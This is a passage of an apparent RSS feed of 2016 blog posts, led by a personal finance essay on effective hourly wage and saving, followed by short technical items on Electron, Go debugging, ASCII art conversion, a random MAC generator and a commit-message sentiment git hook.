&lt;p&gt;All this works together to drop your effective hourly wage from what’s listed on paper to something lower than that. My first out-of-college job, when I did this math when I had a particularly bad commute, I was earning not much more than minimum wage. Oof. &lt;/p&gt;

&lt;p&gt;It’s miserable math to do, because your current effective hourly wage may be really, really low. The good news is you can quickly improve your effective hourly wage in two ways:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;Spend less time doing work-things (less prep in the morning, or leaving every day after 8 hrs instead of 9)&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Spend less money on work-things. &lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I’m paraphrasing
&lt;a href="http://www.amazon.com/gp/product/B0052MD8VO/ref=dp-kindle-redirect?ie=UTF8&amp;amp;btkr=1"&gt;Your Money or your Life&lt;/a&gt;, which you should read. Here’s a
&lt;a href="http://www.amazon.com/review/RKC0S5T9HHK36/ref=cm_cr_dp_title?ie=UTF8&amp;amp;ASIN=B0052MD8VO&amp;amp;channel=detail-glance&amp;amp;nodeID=133140011&amp;amp;store=digital-text"&gt;good Amazon review&lt;/a&gt; to whet your appetite. &lt;/p&gt;

&lt;h2 id="money-is-not-the-goal-options-is-are-the-goal"&gt;Money is not the goal. Options is (are?) the goal.&lt;/h2&gt;

&lt;p&gt;Why spend all this time and effort on money? Doesn’t that make me seem really materialistic, scared, and untrustworthy of my job, God, my family, etc?  &lt;/p&gt;

&lt;p&gt;Off the top of my head, my goal with money is “create margin”. &lt;/p&gt;

&lt;p&gt;What is margin?&lt;/p&gt;

&lt;p&gt;Margin is the space between our load and our limits. It is the amount allowed beyond that which is needed. It is something held in reserve for contingencies or unanticipated situations. Margin is the gap between rest and exhaustion, the space between breathing freely and suffocating.&lt;/p&gt;

&lt;p&gt;-
&lt;a href="http://www.amazon.com/exec/obidos/ASIN/1576836827/fwis-20"&gt;Richard Swenson&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Margin is the thing that allows us to absorb surprises, enjoy rest, and basically do the things that make us happy. &lt;/p&gt;

&lt;h2 id="you-want-to-be-rich-but-getting-there-is-slow-boring-and-un-sexy"&gt;You want to be rich, but getting there is slow, boring, and un-sexy&lt;/h2&gt;

&lt;p&gt;&lt;a href="http://www.amazon.com/gp/product/B00CLT31D6/ref=dp-kindle-redirect?ie=UTF8&amp;amp;btkr=1"&gt;The Millionaire Next Door&lt;/a&gt; looks at many, many millionaires in the United States. Guess what? Most of them are indistinguishable from non-millionaires. They drive inexpensive used cars, live in modest houses, and work normal jobs.&lt;/p&gt;

&lt;p&gt;They start by saving a certain percentage of their income, and over time, never save less, and try to save more. Since income generally rises with age, if you’re saving 10% of your income at 25, if you avoid lifestyle inflation, by 35, you could be saving 30% or 40% of your income, without feeling like you’re living like a pauper. &lt;/p&gt;

&lt;p&gt;Lets say you’re earning $40,000/year at 25 years old. 10% of that is $4,000/year saved. Over the next ten years, you get raises to $75,000. If you let yourself spend $52,000 (that’s $1400/month more than you spent at $40k/year-10% savings) you would be saving $23,000/year. This is why avoiding lifestyle inflation is a BIG DEAL!&lt;/p&gt;

&lt;h2 id="friction-will-dictate-most-of-your-spendingsaving-habits-dont-fight-it-use-it"&gt;Friction will dictate most of your spending/saving habits. Don’t fight it, use it.&lt;/h2&gt;

&lt;p&gt;Money in your wallet wants to get spent, just as food in your refrigerator wants to be eaten. You know the rule “don’t shop for groceries on an empty stomach”? This is because your willpower is affected by your emotional state. &lt;/p&gt;

&lt;p&gt;I’ve got a “rule of thumb” that I follow, both in money and in food. &lt;/p&gt;

&lt;p&gt;Food: If I think I shouldn’t eat an item of food, but it’s easily available to me, I will eat it, and not spend willpower to resist it.&lt;/p&gt;

&lt;p&gt;Money: If I want to buy something impulsively, as long as I’ve budgeted for it, I’ll buy it, and not spend willpower to resist it.&lt;/p&gt;

&lt;p&gt;These rules may look insane, so here’s the background:&lt;/p&gt;

&lt;p&gt;When getting groceries, Kristi and I almost never buy cookies/crackers/processed foods, and we don’t drink soda. There are 21 meals in a week, and in a normal week, 20 of these meals are healthy, filling, and don’t have much sugar. I “fight” for my diet in the grocery store. If I’m at a friends house and they have brownies, I’m loading up, because I know that the vast majority of the food I consume is healthy and good. There is
friction to us eating poorly at home, because
unhealthy food doesn’t exist in our house. If it does, I gladly eat it, and feel no guilt. I follow the path of least resistance, and I’m fine with that.&lt;/p&gt;

&lt;p&gt;Similarly, most of our finances are automated. Every time I get paid, a percentage of that money goes straight to retirement accounts. Every time I get a raise, that percentage goes up. It’s difficult and time consuming to change that percentage, so unless we fell on very hard times financially, I will not ever decrease how much of my income goes to savings. There is friction between me and saving
less money, so I follow the path of least resistance.&lt;/p&gt;

&lt;p&gt;&lt;a href="http://www.amazon.com/gp/product/B004WL4BW6/ref=dp-kindle-redirect?ie=UTF8&amp;amp;btkr=1"&gt;I Will Teach You To Be Rich&lt;/a&gt; opened my eyes to a whole new world. I read it right after I got married, and it heavily impacted me. (4.5 stars, 761 reviews.) I recommend you give it a read, and start thinking about how to apply that wisdom. &lt;/p&gt;

&lt;p&gt; Friction cuts both ways. I’ve got some pending issues with our finances related to rolling over old retirement accounts that Kristi had in a prior job. I need to roll them into accounts that we manage, and then I need to get those accounts put under Vanguard. This all requires paperwork, and things that seem quite complex to me. So I’ve not done it. Remember - friction. I follow the path of least resistance. &lt;/p&gt;

&lt;p&gt;But, once I get this done and the money in Vanguard, it will sit untouched for many years. And will grow. And this is good. &lt;/p&gt;

&lt;h2 id="money-is-time-create-margin-learn-to-love-friction-why-does-it-matter"&gt;Money is time, create margin, learn to love friction. Why does it matter?&lt;/h2&gt;

&lt;p&gt;Why does this matter? Why save money? &lt;/p&gt;

&lt;p&gt;Phew. Good questions. Others have said this better than me (I’ll link out to the folks that inspire me below) but here is my perspective:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;The difference between your income and your spending is related to how fragile you are to life changes. One who spends 100% of their income as soon as the paycheck clears is in a different spot from someone who has been saving 40% of their income for two years.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Spending less than you earn
 is a rejection of a lot of the unappealing part of our (USA) consumption-driven way of life&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Saving money allows you to be generous to others when the opportunity arises. &lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Money isn’t the point. Manage it well and with responsibility, and you can move on to other, more significant parts of life, like living. &lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;The
&lt;a href="https://en.wikipedia.org/wiki/Hedonic_treadmill"&gt;Hedonic Treadmill&lt;/a&gt; will suck all sense of happiness out of your life. Don’t play that game.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id="additional-reading"&gt;Additional Reading&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href="http://www.mrmoneymustache.com/2013/02/22/getting-rich-from-zero-to-hero-in-one-blog-post/"&gt;Mr. Money Moustache&lt;/a&gt;. Endlessly entertaining, a bit contrarian.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href="https://www.reddit.com/r/financialindependence/"&gt;r/financialindependence&lt;/a&gt;. Lots of smart, motiviated people there will make this seem less crazy.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href="http://www.reddit.com/r/personalfinance/"&gt;r/personalfinance&lt;/a&gt;. Ditto.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href="http://www.youneedabudget.com/learn"&gt;You Need A Budget&lt;/a&gt;. This tool is a game changer. I actually
enjoy managing money now. Whoa. &lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This should get you a pretty comprehensive approach to a very non-traditional approach to money.&lt;/p&gt;

&lt;p&gt;Good luck! &lt;/p&gt;

&lt;p&gt; &lt;/p&gt;</description><author>Josh Thompson</author><pubDate>Thu, 18 Feb 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/on-money-again</guid></item><item><title>Identifying days with exercise automagically</title><link>https://rjp.is/blogging/posts/identifying-days-with-exercise-automagically-2/</link><description>In which we use heart rate to detect exercise.</description><author>infrequent oscillations</author><pubDate>Wed, 17 Feb 2016 19:00:17 GMT</pubDate><guid isPermaLink="true">https://rjp.is/blogging/posts/identifying-days-with-exercise-automagically-2/</guid></item><item><title>Debugging Electron to run shell scripts in a packaged application</title><link>https://www.jviotti.com/2016/02/17/debugging-electron-to-run-shell-scripts-in-a-packaged-application.html</link><description>This article discusses a file permissions error on Electron that can affect spawning, and an upstream fix for it</description><author>Juan Cruz Viotti</author><pubDate>Wed, 17 Feb 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://www.jviotti.com/2016/02/17/debugging-electron-to-run-shell-scripts-in-a-packaged-application.html</guid></item><item><title>Introducing: git tpush</title><link>https://purpleidea.com/blog/2016/02/16/introducing-git-tpush/</link><description>&lt;p&gt;On today&amp;rsquo;s issue of &amp;ldquo;one hour hacks&amp;rdquo;, I&amp;rsquo;ll show you how you can stop your git drive-by&amp;rsquo;s to git master from breaking your CI tests&amp;hellip; Let&amp;rsquo;s continue!&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;span style="text-decoration: underline;"&gt;The problem&lt;/span&gt;:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Sometimes I&amp;rsquo;ve got a shitty one-line patch that I want to push to &lt;code&gt;git master&lt;/code&gt;. I&amp;rsquo;m usually right, and everything tests out fine, but usually isn&amp;rsquo;t always, and then I look silly while I frantically try to fix &lt;code&gt;git master&lt;/code&gt; on a &lt;a href="https://github.com/purpleidea/mgmt/"&gt;project that I maintain&lt;/a&gt;. Let&amp;rsquo;s use tools to hide our human flaws!&lt;/p&gt;</description><author>The Technical Blog of James on purpleidea.com</author><pubDate>Tue, 16 Feb 2016 14:15:06 GMT</pubDate><guid isPermaLink="true">https://purpleidea.com/blog/2016/02/16/introducing-git-tpush/</guid></item><item><title>ASCII Art Converter</title><link>https://www.swilliams.io/w/ASCII-art-converter</link><description>&lt;p&gt;In the February Code Dojo, Jemma and I made an ASCII art converter in Java that takes an image as input and converts it into a text document which, when
    zoomed out far enough, imitates the original image.&lt;/p&gt;
&lt;figure&gt;
    &lt;img src="asciiConverter.png" href="asciiConverter.png"
        alt="From left to right, the output text document, the input image, and the input image converted to greyscale." style="height:250px;width:500px;"&gt;
    &lt;figcaption&gt;From left to right, the output text document, the input image, and the input image converted to greyscale.&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;This was done by first iterating over every pixel in the image after it has been onverted to greyscale. The luminance of every pixel was then calculated by
    using a formula found online:&lt;/p&gt;
&lt;code class="block"&gt;// calc luminance in range 0.0 to 1.0; using SRGB luminance constants
                    float luminance = (red * 0.2126f + green * 0.7152f + blue * 0.0722f) / 255;
            &lt;/code&gt;
&lt;/pre&gt;
&lt;p&gt;This luminance value was then stored in a very large 2D array. The array is then looped over and certain ASCII characters are chosen based on the luminance
    value selected.&lt;/p&gt;
&lt;p&gt;&lt;code class="inline"&gt;diffLum&lt;/code&gt; is the difference between the largest value of luminance found (largeLum) and the smallest value of luminance found
    (smallLum), the addition of this as opposed to set values between 0 and 1.0 mean that the whole range of characters is still used even if there is not a
    great difference in the source image's luminance values.&lt;/p&gt;
&lt;code class="block"&gt;// choose brightness threshold as appropriate:
if (luminance &lt;= (diffLum*0.1) + smallLum) {
    chars[x][y] = ' ';
} else if (luminance &lt;= (diffLum*0.2) + smallLum) {
    chars[x][y] = '.';
} else if (luminance &lt;= (diffLum*0.3) + smallLum) {
    chars[x][y] = ':';
} else if (luminance &lt;= (diffLum*0.4) + smallLum) {
    chars[x][y] = '-';
} else if (luminance &lt;= (diffLum*0.5) + smallLum) {
    chars[x][y] = '=';
} else if (luminance &lt;= (diffLum*0.6) + smallLum) {
    chars[x][y] = '+';
} else if (luminance &lt;=(diffLum*0.7) + smallLum) {
    chars[x][y] = '*';
} else if (luminance &lt;= (diffLum*0.8) + smallLum) {
    chars[x][y] = '#';
} else if (luminance &lt;= (diffLum*0.9) + smallLum) {
    chars[x][y] = '%';
} else {
    chars[x][y] = '@';
}
                &lt;/code&gt;
&lt;/pre&gt;
&lt;p&gt;The chars array is then looped over and written into a text, .txt, file.&lt;/p&gt;
&lt;p&gt;The solution works adequately however the output cannot be resized and so the source image must be downsized quite a bit before it is truly useful as an
    ASCII converter.&lt;/p&gt;</description><author>SWilliams.io</author><pubDate>Tue, 16 Feb 2016 03:01:01 GMT</pubDate><guid isPermaLink="true">https://www.swilliams.io/w/ASCII-art-converter</guid></item><item><title>Cross-platform development bookmarks</title><link>https://xenodium.com/cross-platform-development-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="https://news.ycombinator.com/item?id=11105027"&gt;How to Distribute Binaries for OS X Using Homebrew (Hacker News)&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Tue, 16 Feb 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/cross-platform-development-bookmarks</guid></item><item><title>Links - February 16th, 2016</title><link>https://faingezicht.com/links/2016/02/16/links/</link><description/><author>Avy Faingezicht</author><pubDate>Tue, 16 Feb 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/links/2016/02/16/links/</guid></item><item><title>On Agile Transformations</title><link>https://www.craigpardey.com/post/2016-02-16-agile-transformation/</link><description>&lt;p&gt;I&amp;rsquo;ve been pushing large enterprises to adopt agile development practices for years so I was very excited when I began seeing many of them embarking upon ambitious Agile Transformation projects where they attempt to not only change the way they build software, but completely revolutionise the entire IT process from inception, finance, HR, delivery and operations.&lt;/p&gt;
&lt;p&gt;But they rarely discuss culture.&lt;/p&gt;
&lt;p&gt;&amp;ldquo;Culture&amp;rdquo; in this context is used to broadly describe how people behave in the company.&lt;/p&gt;</description><author>Craig Pardey</author><pubDate>Tue, 16 Feb 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://www.craigpardey.com/post/2016-02-16-agile-transformation/</guid></item><item><title>Einstein's amazing theory</title><link>https://bytepawn.com/einsteins-amazing-theory.html</link><description>&lt;p&gt;This post is about the amazing success of Einstein's general theory of relativity. The theory predicts, among other things the accelerating Universe, black holes, gravitational lensing and gravitational waves. The real shocker is to remember that Einstein didn't invent general relativity to explain these. He didn’t know about these, they didn't exist at that time!&lt;/p&gt;</description><author>Bytepawn - Marton Trencseni</author><pubDate>Tue, 16 Feb 2016 01:00:00 GMT</pubDate><guid isPermaLink="true">https://bytepawn.com/einsteins-amazing-theory.html</guid></item><item><title>Debugging golang programs</title><link>https://purpleidea.com/blog/2016/02/15/debugging-golang-programs/</link><description>&lt;p&gt;I&amp;rsquo;ve been writing a lot of &lt;a href="https://purpleidea.com/blog/2016/01/18/next-generation-configuration-mgmt/"&gt;golang&lt;/a&gt; lately. &lt;a href="https://purpleidea.com/blog/2015/07/27/golang-parallelism-issues-causing-too-many-open-files-error/"&gt;I&amp;rsquo;ve hit painful problems in the past.&lt;/a&gt; Here are some debugging tips. Hopefully they help you out. I bet you don&amp;rsquo;t know #2.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;span style="text-decoration: underline;"&gt;#0 Use log.Printf&lt;/span&gt;:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;This should go without saying, but I&amp;rsquo;m ashamed to say it&amp;rsquo;s what I use the most. We&amp;rsquo;ve only been &lt;a href="https://en.wikipedia.org/wiki/C_%28programming_language%29"&gt;C programming&lt;/a&gt; for 44+ years, and it&amp;rsquo;s still what is most useful!&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;span style="text-decoration: underline;"&gt;#1 Use go run -race&lt;/span&gt;:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Since many problems are caused by random races, ensuring you use the built-in tools will help you catch some problems. One of these is a race detector. You can use it by adding the &lt;code&gt;-race&lt;/code&gt; flag to the &lt;code&gt;go run&lt;/code&gt;, &lt;code&gt;go build&lt;/code&gt; or &lt;code&gt;go test&lt;/code&gt; commands. In practice, it only ever caught beginner issues, and it hasn&amp;rsquo;t set off any alarms since. Maybe I need to write more test cases! Maybe &lt;a href="https://github.com/purpleidea/mgmt/compare?expand=1"&gt;&lt;strong&gt;&lt;em&gt;you&lt;/em&gt;&lt;/strong&gt; need to write more test cases!&lt;/a&gt;&lt;/p&gt;</description><author>The Technical Blog of James on purpleidea.com</author><pubDate>Mon, 15 Feb 2016 18:47:57 GMT</pubDate><guid isPermaLink="true">https://purpleidea.com/blog/2016/02/15/debugging-golang-programs/</guid></item><item><title>Scala: Traversing a graph in a functional way</title><link>https://manuel.kiessling.net/2016/02/15/scala-traversing-a-graph-in-a-functional-way/</link><description>I recently played around with graphs and tried to implement Depth-First Search in a functional and recursive way.  In the following examples we are talking about the following simple directed unweighted graph with vertices a to e:   (click to enlarge)  Each vertex is represented by an object of the following class:  class Vertex() { val name: Char val edges: Set[Vertex] }  Let's start with an approach that is neither functional nor recursive, but at least straight-forward:  def dfsMutableIterative(start: Vertex): Set[Vertex] = { var current: Vertex = start val found: mutable.</description><author>Home on The Log Book of Manuel Kießling</author><pubDate>Mon, 15 Feb 2016 17:13:00 GMT</pubDate><guid isPermaLink="true">https://manuel.kiessling.net/2016/02/15/scala-traversing-a-graph-in-a-functional-way/</guid></item><item><title>What is Deutschland?</title><link>https://rybakov.com/blog/germany/</link><description>&lt;p&gt;How does it feel, to return to Germany after a few weeks in Africa?&lt;br /&gt;
There are no people on the streets.&lt;br /&gt;
There are no loud sounds.&lt;br /&gt;
It smells of nothing.&lt;/p&gt;
&lt;p&gt;It is supposed to be a rich country but is defined by absence.&lt;/p&gt;</description><author>Blogs on Michail Rybakov</author><pubDate>Mon, 15 Feb 2016 16:07:46 GMT</pubDate><guid isPermaLink="true">https://rybakov.com/blog/germany/</guid></item><item><title>Generating a random MAC address</title><link>https://xenodium.com/generating-a-random-mac-address</link><description>&lt;p&gt;As some point I had to generate a random MAC address. This is the snippet I used:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.python"&gt;import random

def randomMAC():
  mac = [0x00, 0x16, 0x3e,
         random.randint(0x00, 0x7f),
         random.randint(0x00, 0xff),
         random.randint(0x00, 0xff),
  ]
  return ':'.join(map(lambda x: &amp;quot;%02x&amp;quot; % x, mac))

print 'MAC =&amp;gt; %s' % randomMAC()
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class="language-example"&gt;MAC =&amp;gt; 00:16:3e:7e:f7:fa
&lt;/code&gt;&lt;/pre&gt;</description><author>xenodium.com @alvaro</author><pubDate>Mon, 15 Feb 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/generating-a-random-mac-address</guid></item><item><title>How to accomplish OR operator with Rails 4 (and lower) query?</title><link>https://goshacmd.com/rails-activerecord-query-or/</link><author>Gosha Spark</author><pubDate>Mon, 15 Feb 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://goshacmd.com/rails-activerecord-query-or/</guid></item><item><title>2015 in Review</title><link>https://captnemo.in/blog/2016/02/15/2015-in-review/</link><description>&lt;p&gt;2015 was a good year for me. I accomplished a lot of things, and was happy for most part of the year. In no particular order, here are the things that stand out for me:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href="/blog/2015/07/20/hillhacks/"&gt;Went to HillHacks&lt;/a&gt;, and made lots of friends. Helped organize the conference.&lt;/li&gt;
  &lt;li&gt;Joined &lt;a href="https://razorpay.com"&gt;Razorpay&lt;/a&gt; in June&lt;/li&gt;
  &lt;li&gt;Moved to Bangalore&lt;/li&gt;
  &lt;li&gt;Announced my book, &lt;a href="https://captnemo.in/blog/2015/06/07/on-writing/"&gt;The Joy of Software Development&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Did lots of speaker things:
    &lt;ul&gt;
      &lt;li&gt;&lt;a href="https://captnemo.in/talks/josd/"&gt;Joy of Software Development&lt;/a&gt; talk at IIT Roorkee&lt;/li&gt;
      &lt;li&gt;Flash Talks on &lt;a href="https://docs.google.com/presentation/d/1qR3JuGU7FXry333qGfVvapshDn72oCjEN8l7bShQl2Y/pub?start=false&amp;amp;loop=false&amp;amp;delayms=3000"&gt;SDSLabs&lt;/a&gt;, &lt;a href="http://slides.com/captn3m0/ctf/"&gt;CTFs&lt;/a&gt; and a few more things at HillHacks&lt;/li&gt;
      &lt;li&gt;A full-length talk on the book itself at HillHacks&lt;/li&gt;
      &lt;li&gt;Did the &lt;a href="https://speakerdeck.com/captn3m0/hillhacks-quiz-2015"&gt;HillHacks&lt;/a&gt; and &lt;a href="https://docs.google.com/presentation/d/1glE2G1xKGkSVELVaQ7YJ4JGul0NLzfHRl1xGgMIwi9Q/pub?start=false&amp;amp;loop=false&amp;amp;delayms=3000"&gt;HackBeach&lt;/a&gt; quizes&lt;/li&gt;
      &lt;li&gt;Announced my &lt;a href="/homeopathy/"&gt;Homeopathy Bug Bounty Program&lt;/a&gt; at hackbeach.&lt;/li&gt;
      &lt;li&gt;Gave a talk on &lt;a href="http://slides.com/captn3m0/fun-with-http"&gt;Fun with HTTP&lt;/a&gt; at Barcamp Bangalore.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Learnt some slacklining at hackbeach. Helped with conference scheduling as well.&lt;/li&gt;
  &lt;li&gt;Made &lt;a href="https://hasgeek.com"&gt;lots&lt;/a&gt; of &lt;a href="http://nilenso.com"&gt;new friends&lt;/a&gt; at Bangalore.&lt;/li&gt;
  &lt;li&gt;Started playing board games, including being a DM at several Dungeons and Dragons sessions.&lt;/li&gt;
  &lt;li&gt;Started quizzing in bangalore as well. Mostly at Cluesday, Vapors.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id="reading"&gt;Reading&lt;/h2&gt;

&lt;p&gt;I started with a goal of 20 books for this year, and ended up reading about 28. Tried experimenting with Audiobooks near the year end, and failed. Bought a Kindle paperwhite as well. I tend to read a lot of Fantasy and SF, and this continued in 2015 as well. The best books I read this year (in order):&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Lions of Al Rassan [&lt;a href="https://www.goodreads.com/review/show/1241094426"&gt;review&lt;/a&gt;]&lt;/li&gt;
  &lt;li&gt;The Goblin Emperor [&lt;a href="https://www.goodreads.com/review/show/1400549503"&gt;review&lt;/a&gt;]&lt;/li&gt;
  &lt;li&gt;The Martian [&lt;a href="https://www.goodreads.com/review/show/1148506677"&gt;review&lt;/a&gt;]&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A complete list is on &lt;a href="https://www.goodreads.com/user/year_in_books/2015/6170741"&gt;Goodreads&lt;/a&gt;&lt;/p&gt;

&lt;h2 id="tech"&gt;Tech&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;Launched &lt;a href="https://hackercouch.com"&gt;hackercouch&lt;/a&gt; as a personal project.&lt;/li&gt;
  &lt;li&gt;Shifted to Arch Linux + i3wm setup for my laptop. See &lt;a href="/setup/"&gt;Setup&lt;/a&gt; page for more details.&lt;/li&gt;
  &lt;li&gt;Left facebook, mostly because of their stance on Net Neutrality and the FreeBasics debacle in India.&lt;/li&gt;
&lt;/ul&gt;</description><author>Nemo's Home</author><pubDate>Mon, 15 Feb 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://captnemo.in/blog/2016/02/15/2015-in-review/</guid></item><item><title>Burn After Reading</title><link>https://olshansky.info/movie/burn_after_reading/</link><description>Olshansky's review of Burn After Reading</description><author>🦉 olshansky 🦁</author><pubDate>Sun, 14 Feb 2016 16:25:00 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/burn_after_reading/</guid></item><item><title>Le Grand Marche</title><link>https://rybakov.com/blog/madina/</link><description>&lt;p&gt;&lt;audio controls="controls" preload="none" src="../audio/madina.mp3"&gt;&lt;/audio&gt;&lt;/p&gt;
&lt;p&gt;Grand Marché Madina, shortly before closing time on a friday.&lt;br /&gt;
Listen with headphones.&lt;/p&gt;</description><author>Blogs on Michail Rybakov</author><pubDate>Sun, 14 Feb 2016 16:07:46 GMT</pubDate><guid isPermaLink="true">https://rybakov.com/blog/madina/</guid></item><item><title>Highways to a War</title><link>https://apurva-shukla.me/bookshelf/highways-to-a-war/</link><description>⭐ ⭐ ⭐ ⭐ ⭐ Absolute vividness and beautiful prose allowing the reader to be fully immersed in the forgotten history of both the Vietnam War…</description><author>Apurva Shukla's RSS Feed</author><pubDate>Sun, 14 Feb 2016 10:00:00 GMT</pubDate><guid isPermaLink="true">https://apurva-shukla.me/bookshelf/highways-to-a-war/</guid></item><item><title>Defined elisp variables matching regexp</title><link>https://xenodium.com/defined-elisp-variables-matching-regexp</link><description>&lt;p&gt;You can use &amp;quot;M-x &lt;em&gt;apropos-variable&lt;/em&gt;&amp;quot; to get documentation for variables matching a pattern. For more flexibility, some elisp can help with getting a list of all variables matching a regexp:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.commonlisp"&gt;(defun ar/variables-matching-pattern (pattern)
  &amp;quot;Get a list of all variables matching PATTERN.&amp;quot;
  (let ((matched-variables '()))
    (mapatoms
     (lambda (symbol)
       ;; Symbol is variable?
       (when (and (boundp symbol)
                  (string-match pattern (symbol-name symbol)))
         (add-to-list 'matched-variables symbol))))
    matched-variables))

(let ((variables &amp;quot;&amp;quot;))
  (mapc (lambda (variable-symbol)
          (setq variables
                (concat variables
                        (format &amp;quot;%s =&amp;gt; %s\n&amp;quot;
                                (symbol-name variable-symbol)
                                (symbol-value variable-symbol)))))
        (ar/variables-matching-pattern &amp;quot;^tern-.*&amp;quot;))
  variables)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class="language-example"&gt;tern-mode-keymap =&amp;gt; (keymap (3 keymap (4 . tern-get-docs) (3 . tern-get-type) (18 . tern-rename-variable)) (27 keymap (44 . tern-pop-find-definition) (67108910 . tern-find-definition-by-name) (46 . tern-find-definition)))
tern-update-argument-hints-async =&amp;gt; nil
tern-known-port =&amp;gt; nil
tern-mode =&amp;gt; nil
tern-activity-since-command =&amp;gt; -1
tern-project-dir =&amp;gt; nil
tern-last-point-pos =&amp;gt; nil
tern-last-completions =&amp;gt; nil
tern-explicit-port =&amp;gt; nil
tern-idle-time =&amp;gt; 2.5
tern-find-definition-stack =&amp;gt; nil
tern-last-argument-hints =&amp;gt; nil
tern-idle-timer =&amp;gt; nil
tern-server =&amp;gt; nil
tern-last-docs-url =&amp;gt; nil
tern-buffer-is-dirty =&amp;gt; nil
tern-command-generation =&amp;gt; 0
tern-flash-timeout =&amp;gt; 0.5
tern-update-argument-hints-timer =&amp;gt; 500
tern-mode-hook =&amp;gt; nil
tern-command =&amp;gt; (tern)
&lt;/code&gt;&lt;/pre&gt;</description><author>xenodium.com @alvaro</author><pubDate>Sun, 14 Feb 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/defined-elisp-variables-matching-regexp</guid></item><item><title>Union</title><link>https://june.kim/union/</link><author>june.kim</author><pubDate>Sun, 14 Feb 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://june.kim/union/</guid></item><item><title>A git hook to keep your emotions in check</title><link>https://bastian.rieck.me/blog/2016/emo_git_hook/</link><description>&lt;p&gt;When developing software, especially if working with other people,
emotions may run high at times. Nonetheless, conversations should be
kept as civil as possible. To help you in this regard, here’s a
short &lt;code&gt;git&lt;/code&gt; hook that performs basic sentiment analysis on your commit
messages:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="ch"&gt;#!/usr/bin/env python&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;#&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Checks the input file for negative sentiments and exits with non-zero return&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# status in case the message appears to be too negative.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;afinn&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Afinn&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;sys&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
